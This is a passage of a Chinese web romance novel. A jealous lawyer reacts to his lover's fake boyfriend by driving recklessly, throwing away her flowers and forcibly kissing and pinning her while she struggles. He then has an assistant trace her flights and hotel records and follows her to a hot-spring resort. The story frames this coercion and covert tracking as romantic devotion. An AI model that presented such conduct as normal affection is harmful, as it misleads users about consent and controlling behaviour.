她买了水果和段姨爱吃的糕点,一进门就看到厨房里忙碌的两个身影。 “段姨,允谦,我来了。” 厨房里的段允谦听到声音跑出来:“昭宁姐,好久不见。” “是啊,好久不见,我都有点认不出来你了。” 温昭宁上一次见到段允谦还是三年前,那时候段允谦刚毕业,去找工作的路上被车撞了,司机逃逸,段姨为了段允谦的医药费东奔西走,整日以泪洗面,温昭宁不忍看段姨这样,就去医院把医药费给付了。 在医院,她第一次见到段允谦,当时因为车祸时被严重撞击,段允谦的脸很肿,完全看不出五官面貌。 两人第二次见面是段允谦出院后,段姨带着儿子来感谢她,温昭宁这才看清,段允谦是个容貌俊秀的小伙子。 再后来,段允谦就去了京市工作,温昭宁从此没有再见过他。 三年不见,段允谦身上多了几许沉稳的气质,但笑起来的时候,仍少年感满满。 “昭宁姐倒是一点都没有变,还是那么漂亮。”段允谦笑着说。 “就你嘴甜。” “实话。” 段姨今天做了一桌子好菜,饭桌上,三人聊着家常,真像一家人似的。 “青柠在悠山还好吧?”段姨问。 “她适应得挺好的,每天要给我打好几个视频电话分享她的开心事。” “那就好,我还挺怀念每天和青柠在一起的日子的,我可太喜欢乖乖的小女孩子了。”段姨说着,看了段允谦一眼,“允谦,你年纪也不小了,什么时候找对象生个娃?” “妈你兜这么大的圈子,原来是要催婚啊。” “那可不,我前几天遇着你那个老同学小山,他媳妇儿都怀孕八个月快生了,你和小山一样大,连个喜欢的人都没有,你说我急不急?” 段允谦握紧了筷子,侧眸看了温昭宁一眼,又低下头去:“我有喜欢的人。” “你有喜欢的人啊!那太好了,改天带回来给妈看看啊。” “再说吧。” -- 吃完饭,温昭宁准备打车去高尔夫俱乐部上班。 “昭宁姐,我送你吧。”段允谦说。 “对对对,宁宁,让允谦送你,这附近不太好打车。” “那好吧,那就麻烦允谦了。” 段允谦拿上车钥匙,跟着温昭宁出门。 他的车就停在小区楼下的车位里,是一辆银灰色的沃尔沃,车是新买的,开门的瞬间,还能闻到一股新车的气息。 路上,温昭宁手机里有个新客户来咨询高尔夫球上课的费用,温昭宁陪客户聊了一路,段允谦就默默地开车。 下午阳光刺眼,段允谦等红灯的时候,还探身过来替温昭宁翻下了遮光板。 二十分钟后,车子停在俱乐部门口。 “允谦,今天谢谢你了。”温昭宁说。 “不客气昭宁姐。”段允谦看了眼俱乐部的大门,笑着问,“昭宁姐,我还从来没有打过高尔夫球呢,我能进去见识见识吗?” “当然可以啊。” “那太好了。” 段允谦和温昭宁一起下了车,两人刚走进俱乐部的大门,温昭宁就看到了沈雅菁。 沈雅菁坐在草坪边的长椅上,用手里的爱马仕包挡着落到脸上的太阳光,她时不时就往大门看一眼,在看到温昭宁的瞬间,她立刻从长椅上站了起来。 温昭宁原以为昨晚应付过沈雅菁就结束了,没想到她竟然还找到高尔夫俱乐部来了,她来干什么? 难道是对温昭宁和贺淮钦的关系仍然存疑?所以还想来试探她? “允谦。”温昭宁一把抓住了身旁段允谦的衣袖,“你帮我个忙?” “什么忙?” “装一下我男朋友。” 段允谦的脸“腾”的一下红了:“我吗?” “嗯。” “怎……怎么装啊?” “你不用说话,牵着我的手就行了。” 段允谦不明所以,但还是按照温昭宁说的,小心翼翼地牵住了她的手。 沈雅菁今天来高尔夫俱乐部,的确是想再来试探一下温昭宁的,昨晚她回去之后,总感觉哪里不对劲。 这六年,贺淮钦这个名字在圈子里几乎成了“不近女色”和“工作机器”的代名词,他的身边干净得像无菌实验室,任何试图靠近的异性,都会被他冷漠拒绝。 而家和车,恰恰都是比较私人的空间。 她不太相信,温昭宁出现在贺淮钦的家里和车里,两次都只是巧合。 沈雅菁远远看见温昭宁走近,正要打招呼,忽然瞥见了温昭宁和身旁的男人手牵着手。 他们两人并肩走过来,虽然没有交谈,但那男人偶尔侧头看向温昭宁的眼神,明显带着倾慕与爱意。 “温小姐。”沈雅菁冲温昭宁笑。 “沈小姐,这么巧,你怎么在这里?” “哦,我有个朋友约了我打高尔夫球,但她临时有事,爽约了,我正要走呢。”沈雅菁随便编了个理由,然后假装刚注意到温昭宁身旁的段允谦,惊讶地问:“这位是?” “这是我男朋友。” “你男朋友好帅啊,你们真是郎才女貌呢。” “谢谢。” -- 耀华律所。 顶层最大的会议室内,空气凝重得像被精密的仪器校准过,所有人都紧绷着神经,看着长桌尽头的贺淮钦。 贺淮钦靠坐在黑色皮革转椅中,他今天穿一身剪裁极为考究的藏青色西装,白衬衫的领口扣得一丝不苟,透着一种禁欲又高效的严谨。 他的指尖无意识地转动着一支铂金钢笔,金属冷光随着他的动作时隐时烁。 “贺律,对方明确提出,关于知识产权的防御条款,在触发后的优先回购权必须排除我方关联基金的参与,你看……” 贺淮钦静默几秒,正要开口,他的手机屏幕毫无预兆地亮了起来。 不是电话,是信息提示音。 贺淮钦目光向下掠过,信息是沈雅菁发来的一张照片。 照片中,温昭宁和一个年轻的男人站在一起,两个人手牵着手。 “淮钦哥,我今天遇到温小姐和她男朋友了耶,她男朋友还挺帅的,看来孙哥是彻底没希望了。” 贺淮钦手里的那支钢笔“吧嗒”一声,掉在会议桌上。 会议室的气压瞬间像被一只无形的手狠狠摁低了几度。 “什么都要我来决定,要你们干什么?”贺淮钦眼中那种深海般的沉静消失了,取而代之的是一种更原始更具压迫性的冰冷,“重新去交涉!” “是,贺律。” “休会。” 贺淮钦丢下这两个字,已经推开座椅起身,除了陈益马上跟着站起来,会议室里的其他人无一敢动。 大家看着贺淮钦的背影,他的肩线紧绷着,感觉像是一座随时可能爆发的火山。 “贺律。”陈益跟在贺淮钦身侧,眼看他大步走向电梯口,冒死提醒一句,“十五分钟后,你和江总约了在律所会面。” “取消。” “是。” 贺淮钦下楼,一坐进车里,他就拨通了沈雅菁的电话。 沈雅菁刚解决了温昭宁这个麻烦,心情大好,看到贺淮钦的来电,她更是止不住地雀跃:“淮钦哥!你怎么这个时间给我打电话……” “沈雅菁。”贺淮钦打断她,声音清晰、冰冷,“我不希望再看到关于温昭宁的任何消息出现在我的手机上,收起你的那些试探,离她远一点!” 沈雅菁被贺淮钦震慑到:“淮钦哥,我没有特意去找温小姐,我只是偶然间碰到……” “偶然间碰到?这种话你自己信吗?” “淮钦哥,你为什么这么生气?你从来没有这样和我说过话!”沈雅菁倍感委屈,“是,我好奇你和温小姐的关系,我才去找她的,但我没有恶意!” “我和谁在一起,轮不到你来多管闲事!这是第一次也是最后一次警告!” “在一起?”沈雅菁感觉迎头挨了一棍子,她瞬间拔高了声调,“你和她真的在一起了?为什么?她凭什么……” 贺淮钦没有回答,直接挂了电话。 -- 温昭宁下午只有一节课。 上完课,她走出俱乐部的大门,才发现段允谦一直没走。 他靠在沃尔沃的车头上,正在打电话,见温昭宁出来,他朝她挥挥手,而后挂了电话,快步向她小跑过来。 “昭宁姐,上完课啦。” “你怎么没走啊?” “我等你啊。”段允谦冲她笑一笑,“刚上岗的‘男朋友’,做戏当然要做全套。” “啊?” “我主要是怕刚才那个女人再折回来为难你。” 段允谦虽然不知道温昭宁和沈雅菁是什么关系,但从温昭宁刚才紧急拉他冒充男友的行为来看,这个沈雅菁肯定是个让温昭宁头痛的人物,否则,她也不必出此下策。 “不会的,她走已经走了。你赶紧回去吧,等下段姨等着急了。” “没事,我和我妈打过电话了。走吧,反正你都下班了,我顺便再送你回去吧。” “不用了,今天已经耽误你很多时间了。” “昭宁姐,你就别见外了,相比较当年你对我的救命之恩,送你回去这点时间又算什么呢。”段允谦走到车边,替温昭宁拉开了副驾驶座的车门。 温昭宁还没上车,先看到了副驾驶座的座椅上放着一束橙色芭比多头玫瑰,多头玫瑰用做旧的信纸包着,漂亮又治愈。 “这是?” “哦,我刚才在附近闲逛,看到有个老太太在路边卖花,我就都买下来了。”段允谦俯身拿起那束花,递给温昭宁,“送你吧,昭宁姐。” “花我就不收了吧,”温昭宁拒绝,“你不是有喜欢的姑娘吗,拿去送她吧。” 段允谦抿了下唇:“那个……我喜欢的姑娘不在沪城。” “她在哪里?” “在京市。” “在京石啊。”温昭宁皱皱眉,“那你工作调过来了,岂不是要异地恋?” “什么异地恋,八字都没有一撇呢。”段允谦把花塞到温昭宁怀里,“这花你就收着吧,我妈不喜欢侍弄这些花花草草,家里也没有花瓶,我拿回去也没有地方放。” 温昭宁捧着花,还没来得及再说点什么,就见一辆库里南急刹在了路边。 短促而尖锐的刹车声过后,驾驶座深色的车窗玻璃降下。 “温昭宁!”贺淮钦冷厉的呼喝声传来。 温昭宁抬眸,看到驾驶座上的贺淮钦,他紧绷着下颔线,目光像结了冰的铅块,落在段允谦的身上。 “上车!” 命令的口吻,不容置疑。 气氛瞬间冻结。 温昭宁捧花的手指轻轻收拢,包装纸发出细微的窸窣声,玫瑰的香味也陡然掺进了一丝令人不安的气息。 段允谦虽然被车里男人强大的气场震慑,但他还是挡在了温昭宁的面前。 “昭宁姐,这位是?” 温昭宁舔了下唇,一时还真难以定义她和贺淮钦的关系,思索了几秒后,她对段允谦说:“允谦,这是我老板,你先回去吧,我们还有点事情要谈。” 老板。 呵。 贺淮钦握着方向盘的手,因为用力,骨节处泛起清晰的白色。 段允谦总觉得哪里有些不对劲:“昭宁姐……” “你快回去吧,我先走了,再见。” 温昭宁上了贺淮钦的车。 引擎声低沉地响起,车子平滑地调了一个头,飞驰而去。 第一卷 第34章 干呕起来 车厢里气压极低,就像是一个移动的闷罐。 贺淮钦的油门一脚到底,变道超车流畅而冷戾。 城市的风景在温昭宁眼前飞速往后倒退着,模糊成一片流动的色块,她有点受不了飙车的感觉,害怕地攥紧了安全带。 从她上车到现在,贺淮钦一个字都没有说过,只有他周身散发出来的那股子沉郁的、山雨欲来的寒意,无声地笼罩着她。 红灯。 车子猛地刹住,温昭宁的身体因为惯性微微前倾,又被安全带狠狠勒回。 她都有点晕车想吐了。 温昭宁偷偷用余光瞥了贺淮钦一眼,他侧脸线条在车外光影中显得愈发冷硬,红灯的光印在他漆黑的瞳孔中,却折射不出丝毫温度。 她从未见过贺淮钦这个样子,哪怕是之前那些误会和尴尬的时刻,他也总是冷静、克制的,而现在,他就像头情绪不稳定的猛兽。 温昭宁想开口打破这令人窒息的沉默,可是她又怕说错什么惹恼了他,万一他发疯飙得更快,发生什么交通意外的话那就完了,她还有女儿要养呢! 绿灯。 车子再次飞驰起来。 这一会儿慢一会儿快,一会儿停一会儿原地起飞的感觉,真是让人难受。 温昭宁真的晕车了,她胃里翻江倒海,脏话都差点出来了,但话到嘴边,也只敢弱弱地说一句:“道路千万条,安全第一条,行车不规范,亲人两行泪。” 贺淮钦根本没听到她叽里咕噜地在说什么。 他满脑子都是刚才那个男人给温昭宁送花的画面。 小奶狗。 那男人一头蓬松柔软的栗棕色头发,肩线已经开阔却并不厚重,穿着简单的卫衣,眼型偏圆,内勾外翘,鼻梁挺拔,但线条秀气,整个人看起来的确挺奶狗的。 关键是,他喊她“昭宁姐”! 没想到,温昭宁还真的好这一口。 温昭宁清楚地感觉到,自己说完那句话后,车速又快起来了。 果然,现在说什么都是白搭。 她还是闭嘴,减少存在感更好。 半小时后,车子终于开进了熟悉的小区,停在了贺淮钦的专属车位上。 两人一前一后下了车。 贺淮钦大步走在前头,温昭宁抱着花,脚步虚浮地跟着他。 她的头很晕。 大门是指纹锁,贺淮钦走到门口正要按下指纹时,他似想到了什么,忽然停下动作,转头看向温昭宁。 温昭宁愣了愣。 贺淮钦的目光先落在她的脸上,然后,缓慢地下移,盯着她怀中的那束花,温昭宁还没反应过来,下一秒,他已经伸手,用力地将那束花从她手里抽走。 “咣当”一声。 那束多头玫瑰,就这么被丢进了门口那个黑色的垃圾桶中。 整个过程,快的只在电光火石之间,贺淮钦的动作,更是干净利落到残忍。 “以后,别把这种垃圾带回家。”他说完,开门进屋。 温昭宁站在廊下,胸口那股堵了一路的窒闷,终于冲破了理智防线。 “你凭什么丢我的花!”她跟着冲进客厅。 “怎么?男朋友送的,舍不得丢?”贺淮钦看着她,语气冷漠,“你男朋友知道吗,你每天睡在我的床上?” 男朋友…… 温昭宁顿时听明白了,原来是沈雅菁去贺淮钦面前嚼舌根了,她动作倒是挺快的,又或者说,贺淮钦和沈雅菁本来就保持着随时聊天的模式,所以她前脚刚介绍段允谦给沈雅菁认识,沈雅菁后脚就把这个消息分享给了贺淮钦。 “这中间有点误会,其实刚才那个男人他是段姨的儿子。” “段姨?” “对,就是之前和我女儿一起被陆恒宇软禁的那位陆家保姆。” “保姆的儿子?”贺淮钦眼底沉淀出一丝讥诮,“温昭宁,这么多年过去了,你喜欢和保姆的儿子搞在一起的癖好还是没变。” 贺淮钦的母亲当年就是温家的保姆。 那时温昭宁放下身段追求贺淮钦,所有人都觉得她疯了,连贺淮钦本人,都觉得她不正常,所以迟迟不愿接受她。 没想到这么多年过去了,这回旋镖飞回来,还能再往她心口上扎一枪。 温昭宁被他那讥讽的语气刺痛,所有的解释,所有试图沟通的念头,在这一刻,全都消失殆尽。 她的情绪也上了头,语气不自觉地刻薄起来:“是啊,我就是有这种癖好,不然当年也看不上你!” “温昭宁!” 贺淮钦死死瞪着她。 温昭宁不再理他,转身往二楼跑。 她现在头晕目眩,浑身难受,只想快点洗澡睡觉。 可当她刚走进衣帽间,还没拿到自己的睡衣,贺淮钦也跟着上来了。 “既然看不上我,那又为什么要来招惹我?为什么要耍弄我?到底为什么?” 贺淮钦猩红着眼,他低头捧住温昭宁的脸,狠狠地吻住她。 温昭宁大脑一片空白,她被迫承受着这令人窒息的掠夺,唇舌间都是他不容抗拒的力量。 她觉得,贺淮钦好像要把她揉碎进自己的身体里。 “唔!” 温昭宁试图挣扎和逃离,但换来的是他将她按反按在玻璃柜门上,更深入地探索。 衣帽间三面巨大的镜子里,映出无数个她被贺淮钦肆意占有的画面,那些重叠的画面冲击着温昭宁的视觉,让她更加羞耻和晕眩。 胃里那股翻腾的不适,在这激烈的纠缠中被无限放大和加剧。 “呕……呕……” 温昭宁偏过头去,用尽全身力气推开贺淮钦,扶着放手表的玻璃柜,止不住地干呕起来。 贺淮钦看着她煞白的脸,所有动作都顿住了。 “怎么了?”他快速整理好自己的衣着和她的裙摆,扶住她的胳膊,“哪里不舒服?” 他的语气已经收敛了怒火,只剩小心翼翼地紧张。 温昭宁无力地摇了摇头,不想说话。 “我送你去医院。”贺淮钦环住她的背,一把将她打横抱起来。 “不用,我只是晕车。”温昭宁不想折腾,“你放我下来,我要睡觉。” 贺淮钦没把她放下来,而是将她抱到了卧室,给她倒了一杯热水。 “你先喝点水,我去给你买药。” -- 贺淮钦很快将晕车药买回来。 温昭宁吃了药后,换上睡衣,侧身蜷缩进被子。 贺淮钦徘徊在她的床边,似乎有话要说,可是直到最后,也没有开口,末了,他给她掖了掖被子,转身离开了卧室。 温昭宁听着他的脚步声离开,舌尖残留的药片的苦味被一点点放大。 一夜深眠,像沉入无梦的深海,药力稀释了身体的不适,掖暂时麻痹了心口那些尖锐的痛楚。 第二天,温昭宁醒来时,已经天光大亮。 贺淮钦昨晚后来没有回卧室睡,温昭宁摸了摸身边冰冷的空位,昨天的记忆碎片般回涌进脑海,心口闷闷地疼起来。 她起床去洗漱,下楼时,发现贺淮钦并不在。 “温小姐,你醒啦。”家政保姆走过来,“贺先生一早就去公司了,他说你昨晚晕车不舒服,让我给你熬了粥,粥在锅里温着,你看你现在要用吗?” “我自己去盛。” “好。” 温昭宁往厨房走去,目光扫过客厅时,她看到茶几上放着一束黄玫瑰。 黄玫瑰装在丝绒质地的盒子里,花瓣层层叠叠,灿烂又夺目。 别的不说,光看这包装,就知道这束花肯定价值不菲。 温昭宁的脚步不由自主地停下,目光凝在那束花上。 家政阿姨顺着她的目光看去,脸上的笑意加深了些:“温小姐,那是贺先生早上出门前特意让人送来的,贺先生说这是送给你的,还特地叮嘱我一定放在你看得到的地方。” 温昭宁看着那束黄玫瑰,又想到昨天两人之间冰冷的对峙以及被贺淮钦粗暴丢弃的那束多头玫瑰。 他这算什么? 打一个巴掌后再给一颗甜枣? “温小姐,你看这花我给你插进花瓶里怎么样?” 温昭宁想让家政阿姨直接扔了,以解昨天贺淮钦扔她花的气,可转念想想,这么贵的花,扔了有点可惜。 “阿姨,送你了。” “啊?” “你拿走吧,我有点不舒服,暂时不想闻到花香味。” 她并不想要收下他给的甜枣! -- 温昭宁今天连着上了四节私教课,忙的时候还好,不会胡思乱想,可等她忙完安静下来,她的心里还是隐隐不舒服。 沈雅菁没有找上门来之前,她尚且能掩耳盗铃,自欺欺人地苟在这一段不对等的关系里,可现在,她发现自己有点做不到了。 温昭宁下班后,转道去了苏云溪的店里。 她的情绪,无法找到一个适当的出口,她快闷死了,她得去找苏云溪聊聊天。 苏云溪在街区开了一家二手奢侈品店,专收一些名牌包包进行转卖,生意很不错。 温昭宁嫁给陆恒宇的那六年,曾在苏云溪的店里卖了自己几十只包来补贴她和孩子的家用,离婚之后,她已经很久没有来苏云溪的店里了。 她走进店里。 苏云溪正背对着门口,站在一个玻璃陈列柜前,她手里拿着一支细长的放大镜,专注地检视着一只稀有的喜马拉雅鳄鱼皮铂金包。 “你好,欢迎光临。”店员看到温昭宁,立刻迎了过来。 温昭宁指了指苏云溪,示意自己找她们老板。 店员会意,走到苏云溪身边去汇报,苏云溪转身,看到温昭宁,一脸惊喜。 “宁宁,你怎么来了?”苏云溪过来,一把拉住温昭宁,“快快快,我新到手了一只Birkin,你过来帮我看看。” 温昭宁走到玻璃陈列柜前,以她多年买包经验,一眼就看出这是真品。 “挺新的,收来贵吗?” 苏云溪比了个数字,温昭宁笑:“那你可以大赚一笔了。” 两人看完包,就上楼去了店里的休息室。 “你来得正好,我刚泡了一壶蜜桃乌龙。”苏云溪给温昭宁倒了一杯茶,“说吧,遇到什么烦心事了?” “你怎么知道我遇到烦心事了?” “你那眉毛从进门就没有松开过。” 温昭宁喝了一口茶,娓娓将最近发生的事情都告诉了苏云溪。 苏云溪听得认真,听到最后,她把茶杯往桌子上一放:“宁宁,你说你是不是傻,既然你在贺淮钦身边不开心,那你就跑啊!” “跑?” “对啊,你们所谓的交易,一没签合同,二没签协议,白纸黑字能约束你的文件一样都没有,就凭口头约定,你就真傻傻留在贺淮钦身边?当然,他要对你好也就算了,那样的人间极品睡一睡也不亏,可是,你现在在他身边已经开始内耗不快乐了,那你还不跑干什么?” 苏云溪简直一语惊醒梦中人,温昭宁的思路顿时就被拓宽了。 是啊,她和贺淮钦又没有签协议,之前说好一年,也只是口头约定,现在贺淮钦的女朋友已经开始对她有所怀疑了,她继续留在贺淮钦身边,对他也没有好处。 她离开,是眼下的最优解。 “宁宁,你听我的,先离开几天,看看贺淮钦什么反应,如果他不找你,那你就彻底自由了。”苏云溪从抽屉里掏出一张温泉度假酒店的体验卡,“正好,我这里有一张君澜山温泉酒店的体验卡,五天四晚,品牌送的,我没有空去,你替我去吧,就当散散心。” 温昭宁的确很久没有出去放松一下了,可是,比起一个人出去玩,她更想回去看看女儿青柠。 “要不我还是请假回去陪陪青柠吧。” “别啊,万一贺淮钦找你呢?你回老家,他一找一个准,他要真的追到你老家去抓你,你该怎么和你妈你舅他们解释?” “也是。” “所以姐妹,你就放心地去玩吧,虽然你现在成为了妈妈,但妈妈这个身份不代表你一点私人时间都不能有啊,除了工作和陪孩子,你也可以有第三个选择。”苏云溪把体验卡塞到温昭宁的手里,“再说了,又不用钱,完全免费,不去白不去。” 温昭宁被苏云溪说动了,当天晚上,她就协调好了俱乐部的私教课程,兼职也请了假,直接买机票飞去了君澜山。 第一卷 第35章 为她提鞋 贺淮钦下班回家,一进门就发现了不对劲。 房子里太安静了。 虽然灯都亮着,但是他感觉不到温昭宁的气息。 平日里,他回来得早,总能看到她坐在客厅里看电影、练瑜伽或者对着笔记本电脑皱眉学习,但今天,客厅空空如也,整座别墅,都有一种彻底抽空了人气的静谧。 贺淮钦下意识地环视客厅。 早上他命人送来的那束黄玫瑰,并没有被插起来,花不见了,难道是被她扔了? 贺淮钦的心沉了一下。 “温昭宁!”他提高声音唤了一声。 回答他的只有空旷的回音。 贺淮钦立刻快步走上二楼。 主卧的门虚掩着,他一把推开,房间里没人,床铺平整得没有一丝褶皱。 “温昭宁?” 贺淮钦又唤了一声,相继找遍了家里的每一个房间,可她都不在。 他想起什么,立刻冲进了衣帽间。 衣柜里,属于她的那一侧,衣服挂得整整齐齐的,可贺淮钦还是敏锐地察觉到,几件她常穿的外套都不见了,放行李箱的储物间里,那个二十寸的登机箱也不在。 她走了? 这个认知就像一块投入深潭的巨石,在他胸腔里激起沉闷而剧烈的回响。 他几乎是踉跄着后退了一步,背脊装在冰冷的玻璃柜门上……昨天,他就是在这个位置欺负她的。 温昭宁会走,肯定是因为他昨天那些口不择言的混账话和他在这个衣帽间里对她一次次蛮横的占有,她生气了。 贺淮钦感觉到一阵恐慌。 他手指发颤着从口袋里摸出自己的手机,迅速找到她的号码,拨了出去。 听筒里传来漫长的等待音。 一声、两声、三声……每一声都敲打在他紧绷的神经上。 无人接听。 电话自动挂断后,贺淮钦立马又重拨了一次,这一次,等待音只响了两声,听筒里就传来了冰冷而机械的女声提示:“您所拨打的用户暂时无法接通,请稍后再拨。” 贺淮钦又接连打了几次,温昭宁都拒接。 他低骂一声,额角青筋隐隐跳动,一种熟悉的不安感席卷了他。 贺淮钦想到了六年前,温昭宁毫无预兆地和他分开,就是从她忽然消失和打不通的电话开始的。 她又想这样离开他吗? 贺淮钦一个人站在空阔的衣帽间里,无数思绪交织在一起,冲破了他引以为傲的冷静和自持。 不,他们的交易还没有结束,温昭宁就算不爱他,也不能离开他! 贺淮钦深吸一口气,转而拨通了陈益的号码。 “查一下温昭宁的行踪,航班、高铁、酒店登记,所有能查的都给我查,现在!马上!” “是,贺律。” -- 君澜是位于雪山脚下的一个温泉酒店。 温昭宁入住的是一个造型独特的木屋式房间,推开玻璃门,就是半露天、以竹篱和嶙峋山石围起的私人风吕。 温泉池水蒸腾起袅袅白雾,将远处墨色山峦的剪影晕染得模糊而遥远。 温昭宁舟车劳顿和紧绷的心弦,在踏入这氤氲着热气的精密空间时,终于微微放松。 苏云溪说得对,旅游果然能治愈人心。 温昭宁换上了酒店提供的柔软棉质浴衣,将长发松松挽起,赤脚走到廊下,小心翼翼地将脚尖探入池水中。 温泉水的温度恰到好处的熨贴着皮肤,她缓缓沉入水中,连日积压的疲惫和情绪,都被这地热之力丝丝缕缕地逼出了体外。 就在她彻底放松之际,她放在廊下小茶几上的手机忽然响了起来。 是贺淮钦打来的。 他这么快就发现她不见了吗? 温昭宁还以为昨天闹了不愉快之后,贺淮钦今天不会回家,没想到他不但回了,还回得那么早。 铃声持续不断。 接?还是不接? 接了又该说什么? 温昭宁想起他们昨天针锋相对的那些刻薄言语,胃部又是一阵熟悉的、条件反射般的痉挛。 她干脆直接从水中站起来,拿到手机,一把摁掉了贺淮钦的电话。 铃声戛然而止,世界重回寂静,可温昭宁好不容易宁静下来的心,又开始隐隐躁动。 在酒店的第一晚,她并没有睡好。 半夜噩梦,温昭宁梦到贺淮钦来酒店抓她,他掐着她的脖子问她以后还敢不敢跑,吓得温昭宁从梦中惊醒,在床上看了半夜电视。 天亮时,温昭宁已经饿得不行。 她起来洗漱了一下,随便穿了件外套,踩了双半包的勃肯鞋,打算先去酒店餐厅吃个早餐,吃饱再来补觉。 酒店的自助餐厅早餐很丰富,温昭宁吃了蟹黄小笼包,喝了豆浆,刚填饱肚子准备离开餐厅,就听到有人轻嗤了一声。 “哟,这不是温昭宁温大小姐吗?” 温昭宁回头,看到说话的人是冯琪琪。 冯琪琪是温昭宁的大学同学,除了同学这一层关系,她们还曾是情敌。 当年入学时,冯琪琪对贺淮钦一见钟情,可当时,温昭宁也在高调地追求贺淮钦。 温昭宁是温家大小姐,不仅家世好,女娲更是偏爱她,她身材姣姣,明眸皓齿,五官精致,美的整个沪城校区都有名。 当时的贺淮钦是法学院的校草,同样因为一张俊脸被大家熟知,周围的人提起贺淮钦时,总会自动匹配与他颜值相当的温昭宁,冯琪琪成了他们爱情故事里镶边都多余的存在,这让冯琪琪对温昭宁埋下了嫉妒与憎厌的种子。 “我还以为自己看错了呢,还真是温大小姐啊。” 冯琪琪穿着一身香奈儿的套装,手提爱马仕,被三个同样打扮入时的女伴簇拥着,走到温昭宁的面前。 “哦,不对,现在温家破产了,你早不是什么大小姐了。”冯琪琪的目光像黏腻的蛛丝,将温昭宁从头到脚打量一遍,温昭宁穿得实在普通,“我现在该叫你什么?落魄千金?还是豪门弃妇?哦,不对,陆家也倒台了,豪门弃妇也算不上了。温昭宁,你说说你怎么这么衰啊,谁和你沾边谁倒霉!” 冯琪琪嗓音拔得很高,言语又像毒蛇吐信,每一个字都无比恶毒。 周围的人都朝她们看过来。 “我以前是不相信风水轮流转这句话的,但现在,看看你的境遇又看看我自己的,我是彻底相信了。”冯琪琪一边说话,一边摆弄着她的爱马仕,“想当初你被万人追捧,要多风光有多风光,而现在,你家道中落,婚姻失败,一无所有,而我……” “而琪琪姐你嫁给富商,备受老公的宠爱,每天都像是泡在蜜罐子里一样,令人羡慕。”冯琪琪身旁的女伴配合着说。 几个女人心照不宣地交换眼神,发出嗤笑声。 温昭宁被冯琪琪当着这么多人的面揭开伤疤攻击,自然不悦。 她看了冯琪琪一眼,目光落在冯琪琪手里那只象征着她身份和地位的铂金包上。 “冯琪琪,你的包挺特别的。” “那当然了,我老公送给我的。”冯琪琪得意地摆弄着她的爱马仕,“你现在,肯定是背不起这么贵的包了吧?” “你老公对你真好,送你个假包。” “你胡说什么?” “爱马仕的Togo皮,颗粒饱满自然,光泽是内敛的油润感,而你这一只,皮质纹理过于完美了,像机器压出来的。”温昭宁侧头,视线向下,“还有,我记得这款金扣铂金近几年的锁头上,除了‘HERMES-PARIS’的刻字,旁边应该还有一个微小的独立编号,和钥匙上对应,你这只锁头的侧边是不是太干净了?” 冯琪琪僵住了,脸青一阵白一阵的,她身旁的那几个女伴,也惊疑地低头去看冯琪琪手里的包。 那只铂金包的锁头边,的确没有任何独立编号。 “看什么看!”冯琪琪一把将包抱住,怒目扫了一眼那几个女伴,“你们不会相信这个女人的鬼话吧!我老公那么有钱,他至于送我一个假包吗?” 几个女伴视线躲闪着不语。 冯琪琪感觉到了强烈的冒犯,她一腔怒火,再次对准了温昭宁:“温昭宁,你就是看我过得好嫉妒我!” “嫉妒你什么?嫉妒你背个假包?”温昭宁冷笑,“你现在削尖了脑袋追求的一切,都不过是我曾经的日常,我虽然落魄了,但我的眼界和认知不会消失,而你,真与假,优与劣都分不出,还在那里沾沾自喜什么!” 温昭宁说完,转身就要走。 冯琪琪原以为今天见面能彻底把温昭宁踩在脚下,没想到现在下不来台的是她,她彻底恼了。 “你别走!”冯琪琪气急败坏地一把拽住温昭宁的胳膊,用力地将她往回扯。 温昭宁猝不及防往后退,身体失衡,脚上的勃肯鞋都掉了一只。 “你干什么?”温昭宁回头瞪着冯琪琪。 冯琪琪已经完全失了理智,她对着温昭宁破口大骂:“温昭宁你这个贱人,你就是人品有问题才会遭报应的,我们那一届的人谁不知道,当年是你先满学校追着贺淮钦跑,当他的舔狗,结果追到贺淮钦没多久,就嫌人家穷,抛下贺淮钦去嫁进豪门。这一转眼六年过去了,你再看看你自己,娘家破产,夫家倒台,你只能一天打两份工来养女儿,啧啧,真是现世报啊。” 温昭宁甩开冯琪琪的手:“了解得这么清楚,看来你很关注我。” “呸,谁关注你了!”冯琪琪不愿承认自己这几年像个变态一样窥探着温昭宁的人生,“对了,有个消息,你可能还不知道,贺淮钦回国了,他现在可是国际顶级律所耀华的老板!身价超百亿!你当年像丢垃圾一样丢弃的男人,如今你给他提鞋都不配了!” “她不配你就配了?” 一道低沉冷厉的声音从餐厅门口传进来。 温昭宁一下就听出来,这是贺淮钦的声音,但冯琪琪听不出来,她转过头去,看到一道高大挺拔的身影阔步从外面走了进来。 “贺淮钦?”冯琪琪有些惊喜。 自从毕业之后,冯琪琪就没有再见过贺淮钦,她只在财经报上看过贺淮钦的近照,没想到,今天见到真人了。 这么多年过去,贺淮钦还是那么帅。 那张脸,轮廓比大学时更深邃分明,眉宇间多了几许上位者的威严和成熟男人的禁欲感,经过时光的淬炼,他比当年更具魅力了。 “贺淮钦,你还记得我吗?”冯琪琪挡到贺淮钦的面前,“我是冯琪琪,我们当年一个学校的,我老公是风亚电力的徐杰,他和你投资的科技公司有合……” “滚开!” 贺淮钦盯着冯琪琪,眼神冷酷强势,带着骇人的阴沉和怒意。 冯琪琪吓得不自觉地往后退了几步。 贺淮钦越过冯琪琪,走到了温昭宁的面前。 温昭宁脊背发凉,心跳加速。 他怎么会在这里? 不,确切地说,是贺淮钦怎么会这么快出现在这里? 从她拒接他的电话到现在,中间相隔甚至不到十个小时,他怎么做到这么快查到她的酒店,还飞到了她的面前? 她的五天四日游,不会就这么要结束了吧? “你……你……怎么来了?”温昭宁开口。 冯琪琪似乎感觉到了温昭宁的恐惧,勾唇笑了声:“贺淮钦,你还记得这么女人吧,她当初把你甩了,现在她落魄得不如一条狗……” “闭嘴!”贺淮钦喝止了冯琪琪的话,“还轮不到你来嘲笑她!” “我是帮你……” “我和她的事,更轮不到你来多管闲事!” 贺淮钦说完,忽然单膝屈地,在温昭宁面前蹲了下去。 冯琪琪惊得嘴都张大了。 只见贺淮钦微微俯身,一手捡起温昭宁的那只鞋,一手轻柔地托住她的脚踝,为她穿上了鞋。 温昭宁也愣住了。 这个高傲冷厉的男人,竟然当着这么多人的面蹲下来给她穿鞋,他的这一举动,无疑狠狠打脸了冯琪琪的那句“你给他提鞋都不配”。 贺淮钦给温昭宁穿好鞋后,从容起身,伸手揽过温昭宁,将她半护在怀里。 他看着冯琪琪,一字一顿地说:“温大小姐从来不需要给任何人提鞋,是我,想要一个为她提鞋的资格。” 第一卷 第36章 一起泡 温昭宁心跳如雷。 